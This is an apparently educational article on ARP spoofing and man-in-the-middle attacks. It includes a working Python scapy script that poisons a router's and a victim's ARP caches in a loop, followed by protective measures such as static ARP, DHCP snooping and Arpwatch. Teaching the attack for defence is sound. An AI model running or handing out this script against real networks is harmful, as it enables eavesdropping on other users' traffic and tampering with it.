Understanding the Man-in-the-Middle Attack and How to Protect Yourself with Python

What is ARP Spoofing?

**ARP Spoofing** (or ARP Cache Poisoning) is a local network attack that exploits a flaw in the ARP protocol. ARP is like your network's "phone book," associating IP addresses with MAC addresses (unique hardware identifiers). The problem? ARP trusts anyone who responds.

An attacker takes advantage of this to send spoofed ARP messages, telling your machine (and your router) that the IP address of another device (such as the router or a peer on the network) actually belongs to the attacker's MAC. This puts the attacker in the middle of the communication, becoming a **Man-in-the-Middle (MitM)**.

How It Works (In 3 Simple Steps)

1. Tricking the Victim: The attacker tells your machine: "I am the router! My MAC is X."
2. Tricking the Router: At the same time, the attacker tells the router: "I am the victim's machine! My MAC is X."
3. Interception: Now, all traffic between you and the router passes through the attacker. They can view, modify, or even block your data.

The Danger of MitM

With ARP Spoofing, an attacker can:

• Eavesdrop: Read your unencrypted data (passwords, messages).
• Alter: Modify information you send or receive.
• Block: Disrupt your connection to the internet or other devices.

Python Code: A Demonstration

The code below, using the scapy library, demonstrates how an ARP spoofing attack can be performed. It sends spoofed ARP packets to the victim and the router, keeping the attacker in the middle of the communication.

import scapy.all as scapy
import time

def get_target_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    answered_list = scapy.srp(broadcast/arp_request, timeout=1, verbose=False)[0]
    return answered_list[0][1].hwsrc

def spoof_arp(target_ip, spoofed_ip):
    # Send false package ARP
    mac = get_target_mac(target_ip)
    packet = scapy.ARP(op=2, hwdst=mac, pdst=target_ip, psrc=spoofed_ip)
    scapy.send(packet, verbose=False)

def main():
    try:
        while True:
            # Exmple: Router (192.168.100.1) e Vítima (192.168.100.6)
            spoof_arp("192.168.100.1", "192.168.100.6") 
            spoof_arp("192.168.100.6", "192.168.100.1")
            time.sleep(2)
    except KeyboardInterrupt:
        print("\n[-] Stop atack.")

main()

How ​​the code works:

• get_target_mac: Sends an ARP request to discover an IP's MAC address.
• spoof_arp: Creates and sends a fake ARP reply. The secret is the psrc (source IP), which is the IP address the attacker will pretend to be.
• main: Repeats sending spoofed packets to maintain ARP table poisoning.

How to Protect Yourself from ARP Spoofing

Securing your network is simpler than it seems:

1. Static ARP: On small networks, fix the most important IP-MAC mappings (e.g., router).
2. Port Security (Switches): Configure your switch to limit MAC addresses per port or bind specific MAC addresses.
3. DHCP Snooping: Helps validate IP-MAC mappings on switches.
4. Encryption (VPNs, HTTPS): Use VPNs and access websites via HTTPS. Even if traffic is intercepted, it will be encrypted and unreadable.
5. Detection Tools: Use software like Arpwatch or IDS/IPS tools to monitor your network and alert you to suspicious activity.

References

[1] Imperva. "What is ARP Spoofing | ARP Cache Poisoning Attack Explained". Available at: https://www.imperva.com/learn/application-security/arp-spoofing/
[2] CrowdStrike. "Address Resolution Protocol (ARP) Spoofing: What It Is and How to...". Available at: https://www.crowdstrike.com/en-us/cybersecurity-101/social-engineering/arp-spoofing/
[3] IONOS. "What is ARP Spoofing and how does it work?". Available at: https://www.ionos.com/digitalguide/server/security/arp-spoofing-attacks-from-the-internal-network/